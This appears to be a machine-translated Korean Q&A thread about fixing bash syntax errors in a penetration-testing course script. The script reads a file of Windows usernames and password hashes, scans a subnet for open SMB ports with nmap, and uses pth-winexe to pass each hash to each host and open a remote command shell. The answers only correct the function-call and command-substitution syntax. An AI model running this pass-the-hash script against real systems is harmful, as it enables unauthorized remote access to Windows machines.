2014-09-10 3 views
0

내 침투 테스트 코스 쉘 스크립트를 작성하는 노력이 같이 보입니다 $의 hashfile을 반복 :: 예기치 않은 토큰

admin:1007:aaaaaaaaaaaaaaaaaa:bbbbbbbbbbbbbbbbbbbb::: 
Administrator:500:ccccccccccccccccc:ddddddddddddddddddddd::: 
someuser:1008:111111111111111111111:2222222222222222222222::: 
backup:1006:33333333333333333333:44444444444444444444444444::: 

및 필드 1에서 사용자 이름을 잡고와 $ smbuser을 설정 이 값으로하고, 세트 필드 3의 해시에 smbhash과 4

#!/bin/bash 


hashfile="/root/bin/passcrack/227/hashes" 

gethash() { awk -F: '{print $3 ":" $4}' < ${hashfile} } 

getuser() { awk -F: '{print $1}' < ${hashfile} } 

for host in $(nmap -p 445 192.168.15.200-254 -oG - | grep open | cut -d" " -f2); do 
    for line in $(cat ${hashfile}); do 
    smbhash=gethash($line) 
    smbuser=getuser($line) 
    echo "[+]" 
    echo "[+] trying [email protected]$host with $smbhash" 
    echo "[+]" 
    pth-winexe -U $smbuser%$smbhash //$host cmd; 
done 
done 

내가지고있어 오류는 이것이다 :

[email protected]:~/bin# ./pth.sh 

./pth.sh: line 10: syntax error near unexpected token `(' 
./pth.sh: line 10: `  smbhash=gethash($line)' 
+0

smbhash = $ (gethas $ {line}) 그리고 작동하는지 확인하십시오. – dganesh2002

답변

2

:

while IFS=: read -r smbuser f2 f3 f4 rest; do 
    smbhash="${f3}:${f4}" 
    ... 
done < "$hashfile" 

그것은 더 효율적일 수 있습니다 그리고 당신은 모든 기능을 필요가 없습니다

for line in $(cat ${hashfile}); do 
    smbhash=gethash($line) 
    smbuser=getuser($line) 
    ... 
done 

고려.

2

bash에서는 함수 인자를 괄호 안에 넣지 않습니다.

당신이 인수 x와 기능 f를 호출 할 경우에, 다만

f x 

보다는

f(x) 
1

통화 기능 당신이 명령을 호출하는 것과 동일한 방식으로 쓰기 : 없음 괄호를 그냥 나열 후 인수.

출력을 변수에 저장하려면 var=$(command)을 사용하십시오. 등호 주위에 공백이 없어야합니다.

smbhash=$(gethash $line) 
smbuser=$(getuser $line) 

함수 정의에 대한 오류도 있어야합니다. 한 줄에 그것들을 쓸 때는 마지막에 세미콜론을 포함시켜야합니다. 대신

gethash() { awk -F: '{print $3 ":" $4}' < ${hashfile}; } 
getuser() { awk -F: '{print $1}' < ${hashfile}; }